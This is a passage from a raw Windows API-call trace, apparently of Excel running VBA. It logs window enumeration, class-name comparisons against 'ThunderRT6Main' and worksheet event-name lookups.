lpdwProcessId=0x0) returned 0x428 [0100.523] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0100.523] GetClassNameA (in: hWnd=0x10064, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0100.523] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.523] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0100.523] GetClassNameA (in: hWnd=0x10110, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="#43") returned 3 [0100.523] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0100.523] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0100.523] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0100.523] GetClassNameA (in: hWnd=0x10112, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="IME") returned 3 [0100.524] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0100.524] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0100.524] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0100.524] GetClassNameA (in: hWnd=0x10060, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0100.524] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0100.524] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.524] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x24b830, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0100.524] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0100.524] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0100.524] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbd21460 [0100.524] IMalloc:Free (This=0x7feffc15380, pv=0xbd21460) [0103.443] GetCapture () returned 0x0 [0103.443] GetCursorPos (in: lpPoint=0x24ed70 | out: lpPoint=0x24ed70*(x=723, y=490)) returned 1 [0103.443] WindowFromPoint (Point=0x1ea000002d3) returned 0x202a6 [0103.443] GetWindowThreadProcessId (in: hWnd=0x202a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.443] SendMessageA (hWnd=0x202a6, Msg=0x84, wParam=0x0, lParam=0x1ea02d3) returned 0x1 [0103.443] SendMessageA (hWnd=0x202a6, Msg=0x20, wParam=0x202a6, lParam=0x2000001) returned 0x0 [0103.545] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=279, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0103.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x24e960, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0103.546] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x14, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0103.546] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0xa, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0103.546] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0103.665] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e000000d6) returned 0x0 [0103.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0103.666] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0103.666] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0103.666] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0103.667] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0103.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0103.667] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0103.667] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0103.667] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0103.866] GetCurrentThreadId () returned 0x8fc [0103.866] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0103.866] GetDesktopWindow () returned 0x10010 [0103.866] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0103.866] GetClassNameA (in: hWnd=0x10070, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.866] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.866] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.866] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0103.866] GetClassNameA (in: hWnd=0x10140, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0103.867] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.867] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0103.867] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.867] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0103.867] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0103.867] GetClassNameA (in: hWnd=0x10138, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0103.867] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0103.867] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0103.867] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0103.867] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0103.867] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0103.867] GetClassNameA (in: hWnd=0x10072, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0103.867] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0103.867] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.867] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.867] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.867] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0103.867] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0103.868] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0103.868] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0103.868] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.868] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0103.868] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.868] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0103.868] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Button") returned 6 [0103.868] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0103.868] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0103.868] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.868] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0103.868] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.868] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0103.868] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.868] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.868] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.869] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0103.869] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0103.869] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.869] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0103.869] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0103.869] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.869] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0103.869] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.869] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.869] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0103.869] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0103.869] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0103.869] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0103.869] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.869] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0103.869] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0103.869] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0103.869] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x202ca [0103.869] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.869] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.869] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0103.869] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0103.869] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0103.869] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0103.869] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.869] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.869] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.869] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0103.869] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0103.870] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0103.870] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0103.870] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.908] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.908] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.908] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0103.908] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0103.908] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0103.908] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0103.908] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.908] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.908] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.908] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0103.908] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0103.908] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0103.908] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0103.908] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.908] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.908] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.908] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0103.908] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0103.908] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0103.908] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0103.908] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.908] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.908] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.908] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 382664704 [0103.908] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0103.908] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0103.908] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0103.908] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.908] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.908] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.908] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0103.909] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0103.909] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0103.909] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0103.909] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.909] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.909] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.909] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0103.909] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0103.909] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0103.909] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0103.909] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.909] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.909] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.909] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0103.909] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0103.909] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0103.909] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0103.909] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.909] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.909] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.909] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0103.909] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0103.909] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0103.909] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0103.909] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0103.909] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.909] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0103.909] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0103.909] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.909] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.909] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0103.909] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202b0 [0103.909] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0103.910] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.910] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784 [0103.910] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0103.910] IsWindowEnabled (hWnd=0x202b0) returned 1 [0103.910] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0103.910] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0103.910] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0103.910] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0103.910] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.910] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.910] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0103.910] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0103.910] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0103.910] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0103.910] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0103.910] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0103.910] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.910] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0103.910] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0103.910] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0103.910] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0103.910] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0103.910] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.910] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0103.910] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0103.910] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0103.910] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0103.910] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.910] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.910] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0103.910] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0103.910] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0103.911] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0103.911] GetWindow 